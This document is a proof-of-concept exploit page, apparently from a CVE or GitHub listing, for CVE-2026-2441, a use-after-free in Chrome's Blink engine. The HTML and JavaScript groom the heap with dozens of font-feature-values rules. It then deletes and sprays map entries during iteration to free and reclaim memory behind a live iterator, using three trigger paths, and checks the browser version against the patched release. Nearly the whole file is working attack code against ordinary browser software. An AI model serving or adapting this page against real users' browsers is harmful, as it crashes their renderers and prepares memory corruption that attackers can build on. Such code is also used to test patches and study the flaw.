4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / index.html HTML
<!DOCTYPE html>
<!--
  CVE-2026-2441 — CSSFontFeatureValuesMap Iterator Invalidation (UAF) PoC
 
  Author: b1gchoi

  Vulnerability: Blink CSS engine, third_party/blink/renderer/core/css/css_font_feature_values_map.cc
  Root cause: FontFeatureValuesMapIterationSource held a raw pointer to the FontFeatureAliases
              HashMap (const FontFeatureAliases* aliases_). When the map is mutated during
              iteration (set/delete), the HashMap rehashes, the old storage is freed, and the
              pointer becomes dangling → Use-After-Free.
 
  Fix: const FontFeatureAliases* aliases_ → const FontFeatureAliases aliases_ (deep copy)
  Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c
 
  Target: Chrome <= 144.0.x (all versions prior to 145.0.7632.75)
  Expected result (unpatched): Renderer process crash (SIGSEGV / heap corruption)
  Expected result (patched): No crash, test passes normally
-->
<html>
<head>
  <meta charset="utf-8">
  <title>CVE-2026-2441 PoC — CSSFontFeatureValuesMap UAF</title>
  <style>
    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
    #log { white-space: pre; font-size: 13px; }
    .ok { color: #0f0; }
    .warn { color: #ff0; }
    .fail { color: #f44; }
    .info { color: #08f; }
  </style>
  <!--
    @font-feature-values at-rule: CSS Fonts Level 4 specification.
    This rule creates a CSSFontFeatureValuesRule CSSOM object.
    rule.styleset → CSSFontFeatureValuesMap (HashMap wrapper)
    The vulnerability is triggered by the iteration + mutation combination on this Map.
  -->
  <style id="target-style">
    @font-feature-values VulnTestFont {
      @styleset {
        entry_a: 1;
        entry_b: 2;
        entry_c: 3;
        entry_d: 4;
        entry_e: 5;
        entry_f: 6;
        entry_g: 7;
        entry_h: 8;
      }
    }
  </style>
</head>
<body>
<h2>CVE-2026-2441 — CSSFontFeatureValuesMap UAF PoC</h2>
<div id="log"></div>
<script>
"use strict";
const log = document.getElementById("log");
function print(msg, cls = "") {
  const span = document.createElement("span");
  span.className = cls;
  span.textContent = msg + "\n";
  log.appendChild(span);
}
print("[*] Initiating CVE-2026-2441 PoC...", "info");
print("[*] Focus: Iterator invalidation in CSSFontFeatureValuesMap (UAF)", "info");
print("[*] Source in Blink: css_font_feature_values_map.cc", "info");
print("");
// ─── 1. Obtain the CSSOM object ──────────────────────────────────────────────
const sheet = document.getElementById("target-style").sheet;
if (!sheet || sheet.cssRules.length === 0) {
  print("[!] ISSUE: Missing @font-feature-values rule.", "fail");
  throw new Error("CSS rule not found");
}
const rule = sheet.cssRules[0];
print("[+] Located CSSFontFeatureValuesRule: " + rule.fontFamily, "ok");
// CSSFontFeatureValuesMap object
// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.
const map = rule.styleset;
if (!map) {
  print("[!] ISSUE: rule.styleset unavailable. Possible API support issue.", "fail");
  throw new Error("styleset not available");
}
print("[+] Acquired CSSFontFeatureValuesMap. Entries: " + map.size, "ok");
print("");
// ─── 2. Heap Grooming ────────────────────────────────────────────────────────
// Goal: Bring the heap into a predictable state.
// By creating multiple @font-feature-values rules, we allocate same-sized
// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.
print("[*] Beginning heap preparation...", "info");
const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);
for (let i = 0; i < 50; i++) {
  groomStyle.sheet.insertRule(
    `@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
    groomStyle.sheet.cssRules.length
  );
  groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] Generated " + groomRules.length + " grooming items.", "ok");
// ─── 3. UAF Trigger — Iterator Invalidation ─────────────────────────────────
//
// Vulnerability mechanism (unpatched Blink):
//
// When CreateIterationSource() is called:
// FontFeatureValuesMapIterationSource(map, aliases_)
// → aliases_ (raw pointer) points to the internal HashMap
// → iterator_ = aliases_->begin()
//
// When FetchNextItem() is called:
// → iterator_->key is read
//
// If map.delete() or map.set() is called in between:
// → HashMap rehashes (new allocation, old storage freed)
// → aliases_ now points to freed memory (dangling pointer)
// → iterator_ is also invalidated
// → Next FetchNextItem() → USE-AFTER-FREE → CRASH
//
print("[*] Activating UAF sequence...", "info");
print("[*] Approach: iterator.next() + map.delete() + map.set() repeated (induce rehash)", "info");
print("");
let crashDetected = false;
let iterationCount = 0;
try {
  // Create iterator — at this point Blink creates an IterationSource with a raw pointer
  const iterator = map.entries();
  let step = 0;
  while (step < 20) {
    // iterator.next() → FetchNextItem() call
    // Unpatched Blink: reads through dangling pointer
    const result = iterator.next();
   
    if (result.done) {
      print(" [.] Iterator depleted (step=" + step + ")", "warn");
      break;
    }
    const [key, value] = result.value;
    iterationCount++;
    print(" [>] Item: " + key + " = " + JSON.stringify(value) + " (step=" + step + ")", "ok");
    // ── MUTATION: Modify the HashMap ─────────────────────────────────────
    // This triggers a HashMap rehash.
    // In unpatched Blink, the aliases_ pointer becomes dangling after this.
   
    // Delete the current key
    map.delete(key);
    // Add many new keys → force rehash
    // WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash
    // Each set() call potentially reallocates internal storage
    for (let i = 0; i < 512; i++) {
      map.set("spray_" + step + "_" + i, [i, i + 1, i + 2]);
    }
    // Also modify groom objects — fill the freed memory
    for (let g = 0; g < groomRules.length; g++) {
      try {
        groomRules[g].styleset.set("reclaim_" + step + "_" + g, [step]);
      } catch(e) {}
    }
    step++;
  }
  print("");
  print("[+] Finished iteration (" + iterationCount + " items handled).", "ok");
} catch (e) {
  crashDetected = true;
  print("[!] Detected EXCEPTION: " + e.message, "fail");
  print("[!] Possible UAF exposure in JS layer.", "fail");
}
// ─── 4. Results ──────────────────────────────────────────────────────────────
print("");
print("─".repeat(60), "info");
print("[*] OUTCOMES:", "info");
const ua = navigator.userAgent;
const chromeMatch = ua.match(/Chrome\/([\d.]+)/);
const chromeVersion = chromeMatch ? chromeMatch[1] : "unknown";
print("[*] Detected Chrome: " + chromeVersion, "info");
// Version comparison
// Dev/Canary builds have build number 0: 145.0.0.0
// In that case major.minor is not enough, full build number is required.
function parseVersion(v) {
  const parts = v.split(".").map(Number);
  return {
    major: parts[0] || 0,
    minor: parts[1] || 0,
    build: parts[2] || 0,
    patch: parts[3] || 0,
    isDevBuild: (parts[2] === 0 && parts[3] === 0)
  };
}
function isVulnerable(vStr) {
  const v = parseVersion(vStr);
  // Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe
  if (v.isDevBuild) return false;
  // major < 145 → definitely vulnerable
  if (v.major < 145) return true;
  // major > 145 → patched
  if (v.major > 145) return false;
  // major === 145: check build number
  if (v.build < 7632) return true;
  if (v.build > 7632) return false;
  // build === 7632: check patch
  return v.patch < 75;
}
if (chromeMatch) {
  const v = parseVersion(chromeVersion);
  if (v.isDevBuild) {
    print("[?] Identified Dev/Canary version (" + chromeVersion + ").", "warn");
    print("[?] Such builds get fixes sooner — probably SECURE.", "warn");
    print("[?] Test with stable/beta (<= 144.0.x) for precision.", "warn");
  } else if (isVulnerable(chromeVersion)) {
    print("[!] VULNERABLE VERSION! (" + chromeVersion + " < 145.0.7632.75)", "fail");
    print("[!] Anticipate renderer failure — absence might indicate sandbox effects", "fail");
    print("[!] or alternative mitigations impacting trigger.", "fail");
  } else {
    print("[+] Version secured. (" + chromeVersion + " >= 145.0.7632.75)", "ok");
    print("[+] Crash avoidance expected due to iterator protection.", "ok");
  }
} else {
  print("[?] Unable to identify Chrome version.", "warn");
}
if (crashDetected) {
  print("[!] Noted exception — partial UAF activation.", "fail");
} else {
  print("[+] Exception absent — secured version or renderer terminated", "ok");
  print(" (termination prevents this message execution).", "ok");
}
print("");
print("[*] Fix commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c", "info");
print("[*] Change: css_font_feature_values_map.cc", "info");
print("[*] Adjustment: const FontFeatureAliases* to const FontFeatureAliases (deep copy)", "info");
print("─".repeat(60), "info");
// ─── 5. Alternative trigger via for...of ─────────────────────────────────────
// Some Blink versions use a different code path for for...of iteration.
print("");
print("[*] Secondary activation: for...of with simultaneous changes...", "info");
try {
  // Retry with a fresh map
  const style2 = document.createElement("style");
  document.head.appendChild(style2);
  style2.sheet.insertRule(
    `@font-feature-values AltFont {
      @styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }
    }`, 0
  );
  const rule2 = style2.sheet.cssRules[0];
  const map2 = rule2.styleset;
  let altCount = 0;
  for (const [k, v] of map2) {
    altCount++;
    // Mutation during iteration
    map2.delete(k);
    for (let i = 0; i < 512; i++) {
      map2.set("alt_" + altCount + "_" + i, [i, i]);
    }
    if (altCount >= 5) break;
  }
  print("[+] Completed for...of (" + altCount + " cycles).", "ok");
} catch(e) {
  print("[!] Exception in for...of: " + e.message, "fail");
}
// ─── 6. Async trigger via requestAnimationFrame ──────────────────────────────
// Forces layout recalculation via offsetWidth inside a rAF loop,
// re-triggering the CSS engine.
print("");
print("[*] Launching rAF with layout force trigger...", "info");
const style3 = document.createElement("style");
document.head.appendChild(style3);
style3.sheet.insertRule(
  `@font-feature-values RafFont {
    @styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }
  }`, 0
);
const rule3 = style3.sheet.cssRules[0];
const map3 = rule3.styleset;
let rafCount = 0;
let rafIterator = map3.entries();
function rafTrigger() {
  if (rafCount >= 10) {
    print("[+] Finished rAF activation (" + rafCount + " frames).", "ok");
    print("");
    print("[*] Demonstration concluded. Review outcomes.", "info");
    print("");
    print("[*] OVERVIEW:", "info");
    print("[*] At risk: Chrome <= 144.x (stable) or < 145.0.7632.75", "info");
    print("[*] Protected: Chrome >= 145.0.7632.75 (stable)", "info");
    print("[*] Dev version: e.g. 145.0.0.0 — early upstream integration", "info");
    print("[*] No failure: Secured or silent renderer halt", "info");
    print("[*] Failure: UAF activation achieved", "info");
    return;
  }
  // Force layout recalc — re-trigger CSS engine
  void document.body.offsetWidth;
  // Iterator step
  const result = rafIterator.next();
  if (!result.done) {
    const [k] = result.value;
    map3.delete(k);
    for (let i = 0; i < 512; i++) {
      map3.set("raf_" + rafCount + "_" + i, [rafCount, i]);
    }
  }
  rafCount++;
  requestAnimationFrame(rafTrigger);
}
requestAnimationFrame(rafTrigger);
</script>
</body>
</html>